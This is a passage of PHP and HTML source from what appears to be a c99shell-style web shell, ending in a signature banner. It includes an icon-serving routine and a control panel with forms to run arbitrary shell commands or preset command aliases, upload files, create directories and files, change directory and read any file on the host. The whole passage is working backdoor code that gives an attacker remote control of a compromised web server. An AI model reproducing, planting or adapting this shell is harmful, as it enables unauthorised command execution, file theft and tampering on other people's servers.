3069 "ext_wri"=>array("ext_wri","ext_rtf"),
3070 "ext_swf"=>array("ext_swf","ext_fla"),
3071 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
3072 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
3073 );
3074 if (!$getall)
3075 {
3076 header("Content-type: image/gif");
3077 header("Cache-control: public");
3078 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
3079 header("Cache-control: max-age=".(60*60*24*7));
3080 header("Last-Modified: ".date("r",filemtime(__FILE__)));
3081 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
3082 if (empty($images[$img])) {$img = "small_unk";}
3083 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
3084 echo base64_decode($images[$img]);
3085 }
3086 else
3087 {
3088 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
3089 natsort($images);
3090 $k = array_keys($images);
3091 echo "<center>";
3092 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
3093 echo "</center>";
3094 }
3095 exit;
3096}
3097?>
3098</td></tr></table>
3099
3100<a bookmark="minipanel">
3101<br>
3102 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
3103 <tr>
3104 <td width="100%" height="1" valign="top" colspan="2">
3105 <p align="center">
3106 <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>">
3107 <b>Available Menu</b>
3108 </a>
3109 </p>
3110 </td>
3111 </tr>
3112 <tr>
3113 <td width="50%" height="1" valign="top">
3114 <center>
3115 <b>Run Command</b>
3116 <form action="<?php echo $surl; ?>">
3117 <input type=hidden name=act value="cmd">
3118 <input type=hidden name="d" value="<?php echo $dispd; ?>">
3119 <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
3120 <input type=hidden name="cmd_txt" value="1">
3121 <input type=submit name=submit value="Run">
3122 </form>
3123 </td>
3124 <td width="50%" height="1" valign="top">
3125 <center>
3126 <b>Instant Command</b>
3127 <form action="<?php echo $surl; ?>act=cmd" method="POST">
3128 <input type=hidden name=act value="cmd">
3129 <input type=hidden name="d" value="<?php echo $dispd; ?>">
3130 <select name="cmd">
3131 <?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\" >".htmlspecialchars($als[0])."</option>";} ?>
3132 </select>
3133 <input type=hidden name="cmd_txt" value="1">
3134 <input type=submit name=submit value="Run">
3135 </form>
3136 </td>
3137 </tr>
3138 </TABLE>
3139 <br>
3140 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
3141 <tr>
3142 <td width="50%" height="1" valign="top">
3143 <center>
3144 <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>">
3145 <b>Search</b>
3146 </a>
3147 <form method="POST">
3148 <input type=hidden name=act value="search">
3149 <input type=hidden name="d" value="<?php echo $dispd; ?>">
3150 <input type="text" name="search_name" size="29" value="Type what you want to search here...">
3151 <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp
3152 <input type=submit name=submit value="Search">
3153 </form>
3154 </center>
3155 </td>
3156 <td width="50%" height="1" valign="top">
3157 <center>
3158 <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>">
3159 <b>Upload</b>
3160 </a>
3161 <form method="POST" ENCTYPE="multipart/form-data">
3162 <input type=hidden name=act value="upload">
3163 <input type="file" name="uploadfile">
3164 <input type=hidden name="miniform" value="1">
3165 <input type=submit name=submit value="Upload">
3166 <br>
3167 <?php echo $wdt; ?>
3168 </form>
3169 </center>
3170 </td>
3171 </tr>
3172 </table>
3173 <br>
3174 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
3175 <tr>
3176 <td width="50%" height="1" valign="top">
3177 <center>
3178 <b>Create New Dir</b>
3179 <form action="<?php echo $surl; ?>">
3180 <input type=hidden name=act value="mkdir">
3181 <input type=hidden name="d" value="<?php echo $dispd; ?>">
3182 <input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">
3183 <input type=submit value="Create">
3184 <br>
3185 <?php echo $wdt; ?>
3186 </form>
3187 </center>
3188 </td>
3189 <td width="50%" height="1" valign="top">
3190 <center>
3191 <b>Create File</b>
3192 <form method="POST">
3193 <input type=hidden name=act value="mkfile">
3194 <input type=hidden name="d" value="<?php echo $dispd; ?>">
3195 <input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>">
3196 <input type=hidden name="ft" value="edit">
3197 <input type=submit value="Create">
3198 <br>
3199 <?php echo $wdt; ?>
3200 </form>
3201 </center>
3202 </td>
3203 </tr>
3204 </table>
3205 <br>
3206 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
3207 <tr>
3208 <td width="50%" height="1" valign="top">
3209 <center>
3210 <b>Change Dir</b>
3211 <form action="<?php echo $surl; ?>">
3212 <input type=hidden name=act value="ls">
3213 <input type="text" name="d" size="50" value="<?php echo $dispd; ?>">
3214 <input type=submit value="Chane">
3215 </form>
3216 </center>
3217 </td>
3218 <td width="50%" height="1" valign="top">
3219 <center>
3220 <b>Cat File</b>
3221 <form action="<?php echo $surl; ?>">
3222 <input type=hidden name=act value="gofile">
3223 <input type=hidden name="d" value="<?php echo $dispd; ?>">
3224 <input type="text" name="f" size="50" value="<?php echo $dispd; ?>">
3225 <input type=submit value="Cat">
3226 </form>
3227 </center>
3228 </td>
3229 </tr>
3230 </table>
3231 <br>
3232 <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
3233 <tr>
3234 <td width="990" height="1" valign="top">
3235 <p align="center">
3236 <a href="javascript:void(0);" onClick="window.open('');">
3237 <b>:: ElV1N4 DABIDABIDU ::</b>
3238 </a>
3239 </p>
3240 </td>
3241 </tr>
3242 </table>
3243</body>
3244</html>
3245<?php chdir($lastdir); c99shexit(); ?>